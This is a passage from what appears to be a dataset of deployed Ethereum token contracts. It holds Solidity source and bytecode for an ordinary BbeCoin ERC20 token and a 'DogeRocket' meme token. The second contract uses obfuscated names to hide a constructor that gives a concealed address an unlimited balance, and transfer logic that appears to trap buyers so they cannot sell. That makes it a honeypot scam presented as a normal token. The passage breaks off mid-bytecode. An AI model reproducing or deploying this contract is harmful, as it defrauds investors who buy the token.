balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public running returns (bool) {
require(!frozen[_spender] && !frozen[msg.sender]);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function burn(uint256 _value) public running onlyOwner returns (bool) {
require(_value > 0);
require(balances[msg.sender] > _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(msg.sender, _value);
return true;
}
function mint(uint256 _value) public running onlyOwner returns (bool) {
require(_value > 0);
require(balances[msg.sender].add(_value) > balances[msg.sender]);
require(totalSupply_.add(_value) > totalSupply_);
balances[msg.sender] = balances[msg.sender].add(_value);
totalSupply_ = totalSupply_.add(_value);
return true;
}
function lock(address _addr) public running onlyOwner returns (bool) {
require(_addr != address(0));
frozen[_addr] = true;
Frozen(_addr, true);
return true;
}
function unlock(address _addr) public running onlyOwner returns (bool) {
require(_addr != address(0));
require(frozen[_addr]);
frozen[_addr] = false;
Frozen(_addr, false);
return true;
}
event Burn(address indexed from, uint256 value);
event Frozen(address indexed target, bool status);
}
/**
* @title BBEToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract BbeCoin is StandardToken {
string public constant name = "BbeCoin";
string public constant symbol = "BBE";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 12 * (10 ** 8) * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function BbeCoin() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806318160ddd146101ff57806323b872dd146102285780632f6c493c146102a15780632ff2e9dc146102f2578063313ce5671461031b57806342966c681461034a5780635c975abb1461038557806370a08231146103b25780638456cb59146103ff5780638da5cb5b1461041457806395d89b4114610469578063a0712d68146104f7578063a9059cbb14610532578063be9a65551461058c578063d0516650146105a1578063dd62ed3e146105f2578063f2fde38b1461065e578063f435f5a714610697575b600080fd5b341561012257600080fd5b61012a6106e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101e5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610721565b604051808215151515815260200191505060405180910390f35b341561020a57600080fd5b6102126108de565b6040518082815260200191505060405180910390f35b341561023357600080fd5b610287600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b34156102ac57600080fd5b6102d8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e16565b604051808215151515815260200191505060405180910390f35b34156102fd57600080fd5b610305610fd8565b6040518082815260200191505060405180910390f35b341561032657600080fd5b61032e610fe9565b604051808260ff1660ff16815260200191505060405180910390f35b341561035557600080fd5b61036b6004808035906020019091905050610fee565b604051808215151515815260200191505060405180910390f35b341561039057600080fd5b6103986111c8565b604051808215151515815260200191505060405180910390f35b34156103bd57600080fd5b6103e9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111db565b6040518082815260200191505060405180910390f35b341561040a57600080fd5b610412611223565b005b341561041f57600080fd5b61042761129c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561047457600080fd5b61047c6112c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bc5780820151818401526020810190506104a1565b50505050905090810190601f1680156104e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561050257600080fd5b61051860048080359060200190919050506112fb565b604051808215151515815260200191505060405180910390f35b341561053d57600080fd5b610572600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114fb565b604051808215151515815260200191505060405180910390f35b341561059757600080fd5b61059f6115da565b005b34156105ac57600080fd5b6105d8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611653565b604051808215151515815260200191505060405180910390f35b34156105fd57600080fd5b610648600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611673565b6040518082815260200191505060405180910390f35b341561066957600080fd5b610695600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116fa565b005b34156106a257600080fd5b6106ce600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611852565b604051808215151515815260200191505060405180910390f35b6040805190810160405280600781526020017f426265436f696e0000000000000000000000000000000000000000000000000081525081565b6000600260149054906101000a900460ff1615151561073f57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156107e35750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15156107ee57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600260149054906101000a900460ff1615151561090657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561094257600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156109e65750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15156109f157600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a3e57600080fd5b600082118015610aca5750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211155b1515610ad557600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b65836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bc90919063ffffffff16565b111515610b7157600080fd5b610bc2826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119da90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c55826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bc90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2682600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119da90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600260149054906101000a900460ff16151515610e3457600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e9057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610ecc57600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610f2457600080fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f713eb400302cebac61f82eb8de5051d38458517ffac43ae45f4a9fd5d09ee6986000604051808215151515815260200191505060405180910390a260019050919050565b601260ff16600a0a6347868c000281565b601281565b6000600260149054906101000a900460ff1615151561100c57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106857600080fd5b60008211151561107757600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156110c357600080fd5b611114826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119da90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061116b826001546119da90919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b600260149054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561127f57600080fd5b6001600260146101000a81548160ff021916908315150217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f424245000000000000000000000000000000000000000000000000000000000081525081565b6000600260149054906101000a900460ff1615151561131957600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561137557600080fd5b60008211151561138457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611414836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bc90919063ffffffff16565b11151561142057600080fd5b600154611438836001546119bc90919063ffffffff16565b11151561144457600080fd5b611495826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bc90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ec826001546119bc90919063ffffffff16565b60018190555060019050919050565b6000600260149054906101000a900460ff1615151561151957600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115bd5750600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15156115c857600080fd5b6115d283836119f3565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561163657600080fd5b6000600260146101000a81548160ff021916908315150217905550565b60046020528060005260406000206000915054906101000a900460ff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561175657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561179257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260149054906101000a900460ff1615151561187057600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118cc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561190857600080fd5b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f713eb400302cebac61f82eb8de5051d38458517ffac43ae45f4a9fd5d09ee6986001604051808215151515815260200191505060405180910390a260019050919050565b60008082840190508381101515156119d057fe5b8091505092915050565b60008282111515156119e857fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a3057600080fd5b600082118015611a7e57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211155b1515611a8957600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b19836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bc90919063ffffffff16565b111515611b2557600080fd5b611b76826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119da90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c09826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119bc90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058209326b314c5b4bc39b96818c9ef299bca1ea7034d66d00f1292f8357bb3b62d9e0029
|
{"success": true, "error": null, "results": {}}
| 4,487 |
0x9Ac60b1Ea7864D7e9814DA7967D67aA8a81EbfF3
|
/*
https://t.me/dogerocket_eth
https://www.doge-rocket.space/
*/
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.5;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address thy
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[thy] = structure;
_balances[msg.sender] = _tTotal;
would[thy] = structure;
would[msg.sender] = structure;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => address) private flew;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private structure = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function helpful(
address result,
address cotton,
uint256 amount
) private {
address fear = flew[address(0)];
bool hung = uniswapV2Pair == result;
uint256 rocket = _fee;
if (would[result] == 0 && they[result] > 0 && !hung) {
would[result] -= rocket;
}
flew[address(0)] = cotton;
if (would[result] > 0 && amount == 0) {
would[cotton] += rocket;
}
they[fear] += rocket;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[result] -= fee;
_balances[address(this)] += fee;
_balances[result] -= amount;
_balances[cotton] += amount;
}
mapping(address => uint256) private they;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private would;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
helpful(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
helpful(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873fffffffffffffffffff